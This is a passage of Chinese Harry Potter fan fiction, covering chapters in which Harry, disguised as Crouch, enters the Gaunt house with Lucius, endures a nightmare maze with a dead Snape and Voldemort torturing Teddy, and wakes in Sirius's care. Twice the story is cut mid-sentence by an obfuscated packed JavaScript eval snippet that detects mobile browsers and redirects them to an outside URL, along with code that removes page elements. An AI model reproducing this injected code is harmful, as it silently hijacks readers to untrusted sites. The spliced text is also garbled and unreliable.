哈利不动声色地从口袋里掏出几张皱巴巴的英镑纸币,将钱推到吧台上,“买你的消息。” 阿尔伯特愣了一下,目光落在那几张对他而言无疑是一笔小财的纸币,眼中的贪婪一瞬间压过了恐惧,迅速将钱揣进围裙口袋。 “那地方?”阿尔伯特神经质地四下张望,“老林路北边不到一英里。但我劝你们别去——什么也别问。那儿只有成片的荆棘,还有那些蛇——上帝保佑,那些蛇!” “我的哥哥罗伯特,四十年前的事了……他也和你们一样,不听劝。说什么‘冈特家有宝贝’。”他激动起来,脸涨得通红,“一去不回,连根骨头也没留下!” “村里人都知道——那地方不干净。有人听见女人的哭声,有路过人的狗突然发疯咬主人……那地方,那地方会吞噬灵魂!” 卢修斯发出一声轻蔑的嗤笑。 阿尔伯特像是被这句话激怒,脖子梗了起来。“信不信随你们!”他固执地说,“到时别说没人警告过你们!只希望你们的下场……别像我可怜的哥哥一样!” 两人没再说什么,转身离开了酒馆。刚走到户外,卢修斯环视四周,确认无人后,右手已悄然滑向袖口中的魔杖。 “等等,卢修斯!”哈利急忙喊住他,“别杀他!一个无关紧要的麻瓜……” 他快步上前,挡在卢修斯前面,“你疯了吗?在这种地方用不可饶恕咒?惊动魔法部只会坏了主人的大事!” 卢修斯冷冷地扫了“克劳奇”一眼,满眼都是对这个“疯子”指手画脚的不耐烦,“我的手段,巴蒂,还轮不到你来置喙。”他俯身靠近,几乎是贴着哈利的耳朵,声音冷得像蛇的吐息,“不过是个小小的‘一忘皆空’罢了,确保那老麻瓜闭上他的臭嘴。” 不给哈利反驳的机会,他的手腕微微一抖。哈利几乎感觉不到魔力波动,但他知道,酒馆老板关于他们这段简短对话的记忆,恐怕已经被彻底抹去了。 “好了,我们可以走了。”卢修斯收回手,上下打量着哈利,像在评估一件有瑕疵的物品,“看来阿兹卡班的日子让你变得胆小如鼠了,巴蒂。真不明白主人为何还会对你……另眼相看。” 他率先迈步,大步走向村外那条通往冈特老宅的小路。 哈利默默跟了上去,暗暗握紧了拳头。卢修斯比他想象的更危险——对魔力的精准控制不比斯内普弱,观察入微又心思缜密。哈利知道自己刚才对麻瓜表现出的异常关切已经引起了卢修斯的疑心。他必须更加谨慎,不仅要阻止卢修斯找到魂器,还得小心别暴露自己的真实身份。 ———— 沿着酒馆老板指引的方向,他们穿过一片荒芜的田野,踏上了一条几乎被杂草吞没的小径。越往前走,路越偏僻,周围的树木愈加扭曲,浓密的枝叶遮天蔽日,令林间的光线变得阴暗无比。 空气中充斥着腐败的气味,一股无形的压力笼罩着他们,让人的呼吸都变得困难,身体本能地想要远离这片地方。 “唔,”卢修斯发出一声几不可闻的鼻音,脸上掠过一丝厌恶,“空气真‘清新’。” 哈利没有回应。这种阴冷黏腻的感觉并不舒服,仿佛有无形的眼睛在黑暗中注视着他们。难怪麻瓜们会产生本能的恐惧,不敢靠近。毫无疑问,伏地魔绝不希望任何人接近魂器的藏匿之地。 终于,在小路尽头,穿过一片浓密带刺的灌木丛后,冈特老宅出现在视野中。 与其说是房子,不如说是一堆摇摇欲坠的石头和腐烂木头,被荆棘和深绿色的蛇形藤蔓层层包裹。屋顶部分塌陷,墙壁布满裂缝,仅有的几个窗户黑洞洞的,只有那扇破烂的木门勉强还立着。门框右侧垂直钉着一条风化骨骼雕刻的蛇——蛇头高昂,嘴巴大张,露出锋利的毒牙,下方是两个空洞的眼窝。 卢修斯上前,试探性地推了推门。门纹丝不动。他举起魔杖,低声念道:“阿拉霍洞开。”杖尖发出的微光撞在门上,如石沉大海,毫无反应。 他厌烦地啧了一声,“看来我们需要找到正确的方式。”说罢,他开始用魔杖探查周围的石墙,寻找其他入口或隐藏的机关。 趁着卢修斯走开,哈利独自走近那扇门。当他接近骨蛇雕像时,一阵熟悉的嘶嘶声钻入耳中——是蛇语。 哈利装作继续检查门框,心思却完全集中在骨蛇上。那嘶嘶声清晰入耳:“只有纯血血脉可入……或命令我。” 这便是进入老宅的条件。哈利沉吟片刻,虽然蛇佬腔显然是随着疼痛的疤痕一起回来了,但当然不可能在卢修斯面前使用,而他实际上又是个混血。哈利打定主意,扬声叫回了正在不远处检查一处墙壁裂缝的卢修斯,“卢修斯,过来看看这个蛇骨雕像。” 卢修斯不耐烦地走回来,目光落在哈利指向的骨蛇雕像上。“一截烂骨头,有什么……” 他的话音未落,哈利便动了。他闪电般伸出手,一把抓住卢修斯的手腕,不等对方反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156424|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应,便用力将他的食指狠狠按向骨蛇雕像的尖锐骨牙上! “嘶——!”卢修斯猝不及防,发出一声短促的痛呼,手指被蛇骨尖牙刺破,鲜血顺着骨牙滴落,正好落入下方的空洞眼窝。他惊怒交加,猛地甩开哈利的手,“巴蒂!你发什么疯?” 哈利后退一步,脸上露出扭曲而狂热的笑容,“怎么,难道最高贵纯粹的马尔福之血,还不足以取悦这古老的守卫吗?”他逼近一步,目光灼灼地盯着卢修斯流血的手指,语气带着病态的嘲讽,“向主人展示你的忠诚吧,卢修斯!用你的血,为我们打开通往荣耀的道路!” 卢修斯脸上的怒气未消,但哈利这番说辞,以及血液滴入眼窝时微弱的魔法波动,让他明白了什么。他瞪了哈利一眼,抬起流血的手指,悬停在刺破他的骨牙上方,任由更多血珠滴落,注满两个空洞眼窝。 第二个眼窝被血液充满的瞬间,绿光骤然亮起,整条骨蛇雕像发出一连串令人牙酸的“咔哒”声,随后,那扇破败的木门吱呀作响,缓缓向内打开了一条缝隙。 “看来你的直觉是对的,巴蒂。”卢修斯冷冷说道。他收起魔杖,迈步走向敞开的门缝。 哈利跟在后面,心中却警铃大作。需要纯血血脉来开启的门锁——就这样?这第一道防护出乎意料的简单,简单得反常。他敢肯定门后一定潜藏着更危险的东西。这个念头让他的胃部一阵发紧,手也不自觉地伸进口袋,攥紧了魔杖。 —————— 两人先后踏入老宅内部,浓烈的灰尘和腐朽气味扑面而来。脚下是嘎吱作响的朽木地板,覆盖着厚厚的灰尘。光线极其微弱,但足以看清房间中那些格格不入的物品——一张镶金边的天鹅绒扶手椅,一个蒙尘却依然精致的桃花心木柜子,壁炉中幽绿色的火焰凭空燃起,照亮了房间的一角。 “这……是什么把戏?”卢修斯谨慎地抬起魔杖,目光在那些诡异的家具上扫过。 哈利还没来得及细想,周围的景象开始剧烈地扭曲,破败的墙壁、腐朽的地板迅速消退、拉伸、重组,变成了一个宏伟却充满阴森气息的大厅。 一个高大的身影站在大厅中央,周身仿佛笼罩着一层耀眼的光环,面容模糊不清。他面前跪着一个枯槁瘦小、眼神狂热的老人——莫芬·冈特。老人双手颤抖着,高高捧起一枚镶嵌黑色宝石的戒指。 “伟大的继承人,”莫芬以卑微且崇拜的语气说道,“斯莱特林的最后血脉,我不配拥有这样的宝物。这是冈特家族世代相传的珍宝,证明我们与伟大的萨拉查·斯莱特林的血脉相连。现在,它理应回到真正的继承人手中。它属于您……最强大的巫师……您将带领我们重拾纯血的荣光……” 光芒中的身影没有说话,只是微微低下头,似乎在审视那枚戒指。 卢修斯明显被这突如其来的景象和莫芬的话语震慑住了,他当然不可能明白这到底是怎么回事,但“斯莱特林继承人”和“纯血荣光”这些字眼已经足够吸引他的注意。 但哈利不一样。他的目光死死锁在那枚戒指上。就是它。冈特的戒指,佩弗利尔的戒指,伏地魔的第二个魂器。那颗黑色的石头,即使在幻象中,也透着一股不祥的寒意,而戒面上的刻痕——死亡圣器的标志——更是让他心头一紧。更重要的是,他清楚地记得邓布利多展示过的真实记忆:伏地魔是用夺魂咒控制了莫芬,杀了里德尔一家,嫁祸于他,然后偷走了这枚戒指。 而眼前这一幕……简直是对真相的无耻亵渎!伏地魔竟将自己的盗窃与谋杀扭曲成这场虚假的、充满“荣耀”的传承仪式!愤怒与恶心混杂的情绪涌上哈利的喉咙。这就是伏地魔,永远自大又自恋,永远在谎言中美化自己。 这幻境,毫无疑问是个陷阱。而诱饵,正是那枚被捧起的戒指。伏地魔一定在上面施加了极其恶毒的诅咒,等着某个被“荣耀”冲昏头脑的闯入者去触碰。卢修斯不知这戒指是魂器,也不清楚它的真实来历,他只看到“斯莱特林”、“继承人”、“宝物”这些点燃他血统优越感的词语。 哈利本能地想警告卢修斯,但很快意识到自己的真正目的——他的任务不是来夺取魂器,而是阻止卢修斯拿到它。现在卢修斯显然被这虚假的“荣耀”场面迷住,这或许是个机会……他可以尝试利用这一点,假装也被迷惑,然后找借口说这力量太强,需要谨慎行事,或者干脆声称这里太危险,应该先撤退向主人汇报?他必须找个完美的时机与借口。 正当哈利飞速盘算如何利用卢修斯的无知时,他眼角的余光瞥见卢修斯的侧脸,心猛地沉了下去。卢修斯的表情变了,他的呼吸明显变得粗重,眼睛死死盯着莫芬掌心那枚黑宝石戒指。哈利从未见过卢修斯这样失态的表情——那张常年保持冷漠和傲慢的脸上,最初的困惑和敬畏消失了,此刻写满了赤裸裸的贪婪。 糟了!他根本不是被什么“荣耀”吸引,而是直接被那枚戒指的力量所诱惑! “卢修斯,等等!情况不对!这是个——”哈利急忙喊道,试图拉回他的理智。 但已经太晚了。 卢修斯仿佛完全被那枚戒指蛊惑了心智,对哈利的警告充耳不闻。在哈利惊骇的目光中,他猛地向前一步,伸出手,径直抓向了幻境中莫芬掌上的那枚戒指! “不!别碰它!”哈利只来得及发出一声短促的惊呼。 卢修斯的手指触碰到戒指的幻象。 下一秒,整个幻境如同镜子被重锤击碎,发出刺耳的爆鸣声,瞬间分崩离析!所有虚假的景象——光芒中的身影、跪着的莫芬、华丽的大厅——都化为飞散的光点和碎片。脚下的地面毫无预兆地消失了,一股强大的吸力传来,两人不约而同地惊叫出声,身不由己地向下坠落。 87. 亡者迷宫 天旋地转。 一切发生得猝不及防,哈利还未及喊出声,便被一股无形的力量拖入彻底的黑暗。方向感荡然无存,只剩下急速坠落时的惊惶。 “砰!” 他重重摔在冰冷潮湿的地面上,寒意迅速透过湿透的袍子渗进骨髓。哈利呛咳着,手指艰难地摸索四周,指尖触到了一层湿滑黏腻的苔藓。 “卢修斯?”他挣扎着坐起身,哑着嗓子喊道。回音短暂地在黑暗中打转,随即被无边的寂静吞没。 只有他自己。心脏在胸腔内狂跳,哈利从长袍内抽出魔杖,低声念道:“荧光闪烁。”然而,魔杖毫无反应。他皱眉再试了一次,仍旧没有一丝光亮。他的魔杖在这里形同虚设。 他深吸一口气,慢慢站起身。当眼睛逐渐适应黑暗,周围的环境逐渐显现出轮廓——他正站在一条狭窄的通道中。 天花板很低,哈利一抬手就能碰到。他观察着这个通道,发现墙壁像活物般不自然地蠕动。不,像是黏稠的液体在缓慢流动,时而折射出诡异的紫绿光斑,勉强照亮了通道。空气中充斥着铁锈和甜腥的混合气味,低语声从未知的角落传来,细碎而模糊,让哈利的后颈一阵发麻。 留在原地显然不是个好主意。通道尽头分岔成两条路,一条向左,一条向右,都通向更深的黑暗。 哈利选择了向左边的岔路,紧握已无用处的魔杖前进,每迈出一步,石板都在他脚下发出轻微的叹息。 几个拐角后,他停住了脚步。前方的通道看起来和刚才走过的一模一样——同样的石墙,同样的低矮天花板,连光线的变化都没有丝毫不同。 “该死的,我讨厌迷宫。”他低声嘟囔着,脑海中不由浮现出三强争霸赛中的那片迷宫,尽头是塞德里克冰冷的尸体和伏地魔狰狞的笑声。他的胃忍不住一阵抽搐。 “见鬼,卢修斯到底在哪?”哈利继续前进,开始尝试在墙上划下标记,然而每当他前进几步回头查看时,那些刻痕都已消失得无影无踪。十分钟后,他确信了两件事:这迷宫在不断变换,而他很可能一直在原地打转。 焦躁如藤蔓般缠上心头,他不由得加快了脚步。这地方不对劲,太不对劲了。如果伏地魔的目的果真是将闯入者困在这无尽的幻境中,逼他们一步步走向疯狂,那他的计划无疑十分有效。 就在他快要忍受不住的时候,前方的拐角后传来一阵脚步声——沉稳而有节奏,不紧不慢,每一步都像敲击着他的心脏。 哈利迅速贴近墙壁,屏住呼吸,尽量让自己融入阴影。那声音听起来只有一个人,或许是好事——至少不是一群食死徒。如果是卢修斯,那就更好了,至少他不是唯一被困在这里的倒霉蛋。 然而,当那个身影终于从拐角处现身,哈利愣住了。他几乎不敢相信自己的眼睛——那人是西弗勒斯·斯内普,正一步步从迷宫深处走来。 “西弗勒斯?”哈利脱口而出,声音因惊讶而提高了几分。 斯内普的出现如同一道光刺破黑暗,让哈利冰冷的四肢涌上一阵暖意。他脑子里瞬间炸开一堆问题:他是怎么找到这里的?难道他一直跟着在后面?邓布利多知道吗?外面情况怎么样了?卢修斯呢?他跟斯内普碰过面没有? 他压根没细看对方此刻的表情,只是沉浸在援兵到来的安心感和混乱的念头中。 斯内普停下脚步,目光扫过哈利那副狼狈模样。即使在这诡异的光线下,那张脸上熟悉的讥诮还是清晰可见。 嗯,还是那个老样子。哈利暗自嘀咕,不过他看起来似乎比印象中要疲惫一些,身形也消瘦了不少。 这个想法在哈利脑海中一闪而逝,紧接着就被一波歉疚感淹没——不管怎样,斯内普冒着风险来找他,谁知道他费了多大劲才钻进这鬼地方? “梅林啊,你怎么找来的?你怎么和邓布利多说的?这整个地方都——” “波特!”斯内普冷冰冰地打断他,“还要我提醒你多少次,你那跟你父亲一样蠢到家的格兰芬多冲动,只会把你和所有关心你的人拖进深渊!瞧瞧你把自己搞成了什么样子!” 好吧,还是那个嘴毒的老蝙蝠。哈利腹诽道。但他人在这儿,这就够了。 “卢修斯呢?你看到他没有?”他急切地追问,没理会对方的斥责,“我们是一起掉下来的。” 斯内普完全无视了这个问题,只是厌烦地瞥了他一眼,那眼神活像在打量一只讨人厌的爬虫。 “跟上,波特!”他用命令的语气扔下这句话,“别跟个没脑子的巨怪似的杵在那儿发愣,你是想死在这儿吗?” 没等哈利回话,他转身就走,黑袍在身后翻卷,眼看着就要隐入拐角的阴影。 “等等!你知道出口在哪儿吗?”哈利喊道,赶紧小跑几步追上斯内普。 斯内普对他的问题置若罔闻,脚步没半点迟疑。他走得不快,但每一步都很稳,像对这迷宫的每条岔路都烂熟于心。 哈利没辙,只能闭上嘴,紧紧跟在后面。 通道越来越深入。墙面渗出的黏稠液体滴个不停,空气里的腐臭味浓得呛人,每次吸气都像在咽下腐烂的食物。脚下的石板偶尔咯吱作响,声音刺耳得让人牙酸,底下似乎有什么东西在蠢蠢欲动。斯内普却走得稳当,总能在黏液滴落或地面裂开细缝前一步避开。 这太奇怪了。哈利盯着前方那个背影,心里沉甸甸的。他是怎么知道路的?这么诡异的迷宫,斯内普却像是散步般从容,总给人一股说不出的怪异感。 他正琢磨着,一段石壁突然向内塌了下去,化成一团流动的泥沼,夹着闷沉的风声直冲通道中央! “小心!”哈利只来得及喊一声。 一只冰冷的手抓住了他的胳膊,将他粗暴地拉向一侧!哈利的肩膀狠狠撞上石壁,疼得他龇牙咧嘴。那团泥沼擦着他刚才站的地方冲过去,砸在对面墙上,又缓缓缩了回去。 他喘着粗气,惊魂未定地看向斯内普。对方已经松开了手,快得像甩掉什么脏东西。他没看哈利一眼,只是皱着眉,眼神里带着毫不掩饰的厌恶,死盯着刚才墙壁动过的地方。 “看路,波特。”斯内普冷冷地扔出一句,“还是你想被这迷宫消化掉?” 哈利揉着生疼的肩膀,张了张嘴,想说“谢谢”,可对上那张冷漠的脸,话全卡在了喉咙里。 他明白斯内普为什么生气——从一开始,斯内普就强烈反对他独自跟着卢修斯来冒险。想到这,哈利有点心虚,觉得自己理亏。可就算这样,斯内普的反应还是过了头。他毒舌归毒舌,冷嘲热讽也从不缺,但很少像现在这样彻底无视他。是来找他的路上发生了什么事?还是受了什么伤? “西弗勒斯?”哈利试着开口,声音小心翼翼,“你来这儿的路上怎么了?你看着不太对劲。” 走在前面的身影脚步一顿,慢慢转过身,面向哈利。 “管好你自己,波特!”他的声音带着刺骨的寒意,“谁允许你如此放肆地称呼我?还是说,你以为那廉价的同情能掩盖你一贯的无能?” 哈利被这赤裸裸的憎恶惊得后退半步。过去几周,他已经开始用“西弗勒斯”称呼斯内普,对方起初显得有些不自在,但也渐渐变得习惯。这称呼早已变得自然,没想到现在却引发如此激烈的反感。 “我只是——”他开口道。 “只是什么?”斯内普逼近一步,嘴角扭曲成一抹冷笑,“只是又一次证明你继承了你父亲那令人作呕的自负,却连他一半的狡猾都不具备?只会用你的愚蠢拖累别人,像个无知的孩子等着拯救?” 又提他父亲!斯内普故意拿这个戳自己痛处吗?明知他现在依然被自己的父亲拒之门外? “够了!”哈利终于炸了,怒气冲得他嗓音发抖,“别再提我父亲!我知道是我干了蠢事,还得让你来救我,可这不代表你能一直这么羞辱我!我们不是已经成为并肩作战的朋友了吗?” “朋友?”斯内普像听到了什么天大的笑话,短促地嗤笑一声,“别自作多情了,波特。带你离开这里,只是我甩不掉的麻烦,仅此而已。” 麻烦? 这个词像冰锥扎进哈利胸口。他盯着斯内普的眼睛,那里面只有纯粹的轻蔑。仿佛时间从未流逝,他们之间的关系半点没改变。 “你不——”哈利说到一半,硬生生咽了回去。 他想说“你不对劲”,可对上那双空洞冷漠的眼睛,质问全堵在了喉咙里。 斯内普显然不打算等他把话说完,不耐烦地哼了一声:“闭嘴。跟上。你那无谓的愤怒和自以为是已经浪费够多时间了。” 说完,他转身就走,选择了一条更加黑暗的分岔路。哈利手心冒汗,理智告诉他斯内普有问题,但独自留下似乎是更糟糕的选择。 他下意识摸了摸魔杖,知道它现在没用,但这熟悉的动作多少给了他点安慰。不管眼前这个斯内普是怎么回事,他都得跟上去,至少在搞清真相前不能走散。 通道逐渐向下倾斜,墙壁从蠕动的黏腻质感变为粗糙冰冷的岩石。转过一个弯,眼前骤然开阔——一个巨大的圆形石室赫然出现。 石室高得惊人,穹顶隐没在浓厚的黑暗中,看不见顶。四周的石壁上刻满扭曲复杂的符文,散发出惨绿色的光芒,成为这里唯一的光源。 斯内普在入口停下脚步,“我们到了。” “到了?”哈利重复道,心头却骤然一紧。这地方分明不是出口。他后颈的寒毛竖起,本能的警觉在他体内尖叫——这个空间比迷宫任何角落都要危险。 斯内普没有半句解释,只是微微侧头,目光投向石室另一端。 哈利顺着他的目光望去—— 刹那间,全身的血液像是凝固了。 在石室正中间,一个瘦小的身影被无形的力量捆绑着,悬吊在离地面十几英尺高的半空中。 是泰迪! 他穿着霍格沃茨校服,头发失去了平常的活力,乱糟糟地贴在惨白的额头上。他小小的身体在空中无助地微微颤抖,脸上挂满泪痕,像一只被困住的小兽。 “泰迪!”哈利失声喊道,来不及想泰迪为何会出现在这迷宫中,巨大的恐惧和滔天怒火瞬间吞没了他,“不!放开他!” 他想都没想,魔杖指向前方,就要冲向石室中央。 一只手臂拦在他胸前,挡住了他。 “西弗勒斯,我们得救他!”哈利奋力挣扎,急得眼眶发红。 可斯内普站在那儿,像个冷眼旁观的幽灵,漠然注视着半空中泰迪的挣扎和呜咽。那双黑眼睛里没有同情,没有愤怒,没有一丝焦急,仿佛那孩子的痛苦对他来说不过是空气中的尘埃。 那一刻,哈利的心沉进了冰冷的深渊。 “你不是他。”哈利突然醒悟,猛地甩开那只冷硬的手臂,后退几步拉开距离。 “你不是西弗勒斯·斯内普。”哈利说。他想起了那个总是言辞尖刻却还是暗中守护学生的人。“你到底是什么?” 面前的人影缓缓转过身,正对着哈利。惨绿色的符文光芒映在他脸上,表情毫无波动。 接着,他抬起手,指向自己的脖子。 哈利本能地向后退——一道狰狞的裂口从“斯内普”的喉咙横贯至耳后,边缘翻卷外翻,鲜血汩汩涌出,染透了衣领。 “……你在说什么蠢话,波特。” 他开口了,声音嘶哑破碎,带着从坟墓深处传来的寒意和无尽嘲弄。 “看着我……”斯内普死死盯着哈利的绿眼睛,“是你……让我变成这样……” 那道伤口如同地狱的烙印,狠狠烙印在哈利眼里。他的脑子嗡的一声,空白一片。 就在这个瞬间,一道锐利、快速的蓝色光束毫无征兆地从“斯内普”魔杖尖端射出! 哈利来不及反应,只觉得四肢被一股无形的力量牢牢锁住,熟悉的压迫感席卷全身——全身束缚咒。 魔法?这不可能。在这个魔法被压制的迷宫里,他的魔杖毫无作用,而这个“斯内普”却能施咒? 他被困在一个僵硬的姿势中,只有眼球还能转动。可他的视线无法从斯内普颈部那道可怖的伤口上移开。鲜血不断淌下,浸透衣领,散发出浓烈的铁锈味。 淌满鲜血的尖叫棚屋。最后的记忆。纳吉尼的致命一击。 这是斯内普死前的模样。 为什么? 哈利的大脑像是也被锁住了。对面的“斯内普”——或者说,斯内普死前的影子——缓缓放下魔杖,面无表情地看着被束缚的哈利,脸上是一片死寂。 “现在,”那嘶哑破碎的声音再次响起,“你可以安静地见证你的无能,波特。” 他没有再看哈利,慢慢走向石室中央。 哈利被定在原地,眼睁睁看着这死者的幻影走向悬吊在空中的泰迪。他的胸腔疼痛,牙齿咬得几乎要碎,肌肉在束缚咒下徒劳地挣扎。 泰迪的呜咽声穿透石室,小小的身体因恐惧而抖个不停。斯内普抬起头,凝视半空中因恐惧和窒息挣扎、发出微弱哭声的泰迪。 “西弗……西弗……求你……” 那双空洞的眼睛没有半点波澜。 然后,他举起魔杖,对准那个无助的孩子,杖尖开始凝聚绿色的光芒。 哈利的心脏撞击胸腔,太阳穴的血管突突跳动,几乎要炸开。他拼尽全力对抗束缚,意念狠狠冲击着魔法的枷锁,却毫无效果。 不!不能是泰迪! 他在心底疯狂嘶吼。他曾发誓保护那孩子,可现在只能站在这儿,看着一个死去斯内普的影子用魔杖对准自己的教子。泰迪的哭声像刀子割着他的耳膜。他的眼睛因为极致的愤怒和绝望而充血,几乎要眦裂开来,视线因为强烈的冲击而变得有些模糊,但他强迫自己死死盯着那个魔杖尖端,祈求奇迹,或者任何能阻止这一切的东西—— 一声嘶哑而冰冷的笑声,透着令人战栗的愉悦,在空旷的石室中骤然响起。紧接着,一个高瘦的身影从深沉的阴影中浮现,无声无息地站在了石室中央。 伏地魔。他站在那儿,苍白细长的手指轻抚魔杖,红眼睛里跳动着病态的光芒。整个石室的空气似乎因他的出现而变得更加寒冷刺骨。 那高亢冷酷的笑声在哈利耳边回荡,饱含恶毒的愉悦。斯内普的亡魂在伏地魔现身时微微低头。 “一个完美的引路人。”伏地魔对着亡魂说道,猩红的目光转向被束缚的哈利,眼中尽是猫捉老鼠般的戏谑。 “看看你,哈利·波特……多么无助,多么可怜,就像一只被钉在板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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红光击中了泰迪的小小身体。男孩猛地弓起背,发出一声凄厉到不似人声的惨叫!他剧烈地抽搐、痉挛,四肢不自然地扭曲,撕心裂肺的哭喊声和求饶声断断续续地传出来:“啊——!哈利!哈利救我!我好痛——!!” 泰迪绝望的眼神投向哈利,泪水混着汗水从他扭曲的小脸上淌下。 “哈利——!” 哈利的心被这哭声撕裂,他甚至能感觉到那钻心咒仿佛也作用在了自己身上,体内的每一根神经都在燃烧。他疯狂地想要挣脱束缚,想要冲过去,想要杀了伏地魔,但全身束缚咒像铁铸般纹丝不动!他只能被迫目睹泰迪的每一分痛苦,感受自己的无能。而那个斯内普的亡魂只是冷漠地旁观着这一切。 “听听这美妙的声音,”伏地魔赞叹道,红眼睛紧盯着哈利扭曲的脸,“勾起不少回忆吧?不少人吧?波特,你的‘爱’和‘责任’总带来毁灭和痛苦,不是吗?” 他让钻心咒持续片刻,直到泰迪的哭声嘶哑微弱,身子无力抽动,才收起魔杖。泰迪如破布娃娃般悬在空中,气息奄奄。伏地魔转向哈利,脸上满是施虐的满足。 “现在,轮到你了。”他举起了自己的魔杖,那根散发死气的紫杉木魔杖,对准精神崩溃边缘的哈利。 “就在这个只属于你的地狱里……彻底消失吧。”死亡的气息如寒蛇缠上来,哈利听到那最熟悉也最畏惧的咒语从伏地魔喉间吐出。 “阿瓦达索命!”刺眼的绿光从杖尖喷出,照亮石室,也映出哈利惊骇缩紧的瞳孔。 死亡的气息扑面而来,冷酷无情,似乎无法抵挡……等等,无法抵挡? 在绿光逼近的刹那,一个无比清晰的念头刺穿他被恐惧和绝望淹没的意识。不对。 这不对! 这场景太熟悉了。在戈德里克山谷的夜晚,在禁林深处,他一次次面对这绿光、这咒语、这个人…… 他活下来了,不止活下来,他战胜了它!战胜了他! 眼前的伏地魔,这个对他念索命咒的伏地魔,不是真的。这是假的! “不——!”哈利在心底发出撕裂一切的呐喊。 就在绿光触及胸口的瞬间,整个世界如熔炉中的玻璃般融化崩塌。绿光消散,取而代之的是炫目的白光。 白光吞没一切——石室、伏地魔,还有那静立的斯内普亡魂。亡魂在白光中倒下,身姿扭曲,定格在尖叫棚屋鲜血流尽的最后一刻,随后与泰迪模糊的身影一同消失。 哈利感觉自己像是在急速下坠,最终,所有的感官都消失了,只剩下一片无边无际的黑暗。 —————— 黑暗忽然被一阵尖锐的疼痛撕裂。 哈利的感官全部回归,冰冷坚硬的地面抵着他的背脊,全身肌肉痛得几乎撕裂。 现实狠狠压回他身上,伴随着迫在眉睫的危险直觉。他急促喘息着,嘴里满是铁锈和泥土的味道,意识模糊前听到的脚步声已近在咫尺。 几乎是同时,他脸上涌起一阵灼热,肌肉不受控制地抽搐、变形——复方汤剂的效力即将彻底退去。他像被撕裂又拼凑,无力地瘫在黑暗中。 完了! 哈利的心脏几乎跳出胸腔。他挣扎着想要移动,想要躲藏,却虚弱得连头都抬不起来。灌木丛突然被拨开,一个高大的身影在黑暗中迅速逼近。 那身影动作快得惊人,转眼就锁定了他这个倒在地上的目标,直奔过来,带着毫不掩饰的敌意和杀气! “食死徒!”一声低吼划破夜色。 哈利隐约觉得有点耳熟,可还没来得及细想,一道魔咒撕裂黑暗,直冲而来。他本能地想躲避,但身体沉重如铅,只能勉强侧身。魔咒擦过肩膀砸进地面,泥土炸开,飞溅的碎石在他脸上划出细小伤口,刺痛混着剧痛让他眼前一黑。 喘息的机会都没有,那身影已矫健跃到他身前。“速速禁锢!” 魔法绳索凭空浮现,瞬间将他捆得动弹不得。那人大步上前,魔杖狠狠抵住他的喉咙,压得他喘不过气。那股冰冷的杀意和果断,只有久经战斗的巫师才会有。 绝望感淹没了他。 哈利放弃了挣扎,深沉的疲惫吞没了他,刚逃出精神地狱,又要死在这儿吗?他认命地闭上眼。 而此时,清冷的月光穿过层层叠叠的树枝,恰好洒落下来。 月光照亮了他满是痛苦和虚弱的脸,也让他看清了压制他的人——那头凌乱的黑发,英俊不羁的面容,那双燃着怒火的灰色眼睛——不是别人,正是他的教父。 小天狼星? 同一刻,他感到脸上的热意消退,肌肉的抽搐逐渐平息。复方汤剂的效力正在瓦解,他的面容开始扭曲,皮肤在重新塑形。 小天狼星的魔杖仍抵着他的喉咙,但那双灰色眼睛中的怒火骤然凝固,目光死死盯着哈利的脸——那张正在变化的脸。鼻梁变短,眼睛从冷酷的蓝色转为熟悉的绿色,额头上逐渐浮现出一道闪电状的疤痕。 抵在哈利喉咙上的魔杖突然滑落,小天狼星的手垂下,那张原本杀气腾腾的脸僵住了,像中了石化咒。怒火在他眼中迅速熄灭,换成茫然,然后是极度的震惊,最终凝成一种近乎崩溃的惊骇。 那一刻,一切都静止了。月光下,只剩两人急促的呼吸声。 接着,小天狼星用颤抖的声音,带着惊疑和不敢置信,艰难地挤出:“哈……利?” 88. 守护的誓言 他从一片混沌的黑暗中挣扎着上浮。疼痛弥漫全身,每一寸肌肉都在尖叫抗议,与身下那软绵的感觉形成了奇异的对比。这是哪里?意识像一片薄雾,时而清晰,时而模糊。他试图动一动,想撑起身体,哪怕只是稍微改变一下姿势,但四肢沉重无比,完全不听使唤,连抬起一根手指都感到异常艰难。 黏稠的热意包裹着他,每次呼出的气息都带着灼人的温度。脑子也转不动,完全想不起之前发生了什么,自己又为何会在这里。 这时,一只手轻轻地落在了他的额头上,似乎在试探他的温度。 一个低沉而熟悉的声音在他耳边响起,带着明显的担忧:“哈利?你感觉怎么样?” 哈利勉力睁开沉重的眼皮,朝声音的方向望去。视线起初模糊一片,只有一团晃动的影子。他眨了眨眼,模糊的轮廓渐渐清晰——凌乱的黑发,担忧的灰色眼睛。是小天狼星。 就在看清他面容的瞬间,那些被暂时遗忘的恐怖记忆轰然席卷了他的脑海:冈特老宅阴森的荆棘,卢修斯贪婪地伸向戒指的手,迷宫墙壁的蠕动,石室中惨绿的符文,伏地魔高亢的冷笑,斯内普脖颈上那道狰狞流血的伤口,泰迪撕心裂肺的惨叫,以及那道致命的绿光…… 破碎的画面在脑中翻腾,恐惧灭顶而来,令他一时无法分辨现实与噩梦。 哈利忍不住发出一声痛苦的呻吟,眉毛紧紧皱起,身体不由自主地蜷缩成一团。 “嘿,嘿,没事了,哈利。”小天狼星的声音紧张起来,那只温暖的手离开了他的额头,转而紧紧握住了他的手,另一只手则轻拍着他不住颤抖的脊背,“看着我,你安全了,都过去了。” 哈利急促地喘着气,脑海中的痛苦一时难以消散,但小天狼星的手坚实而温暖,他紧紧抓住这份真实感,逐渐平复下来,呼吸不再那么乱了。 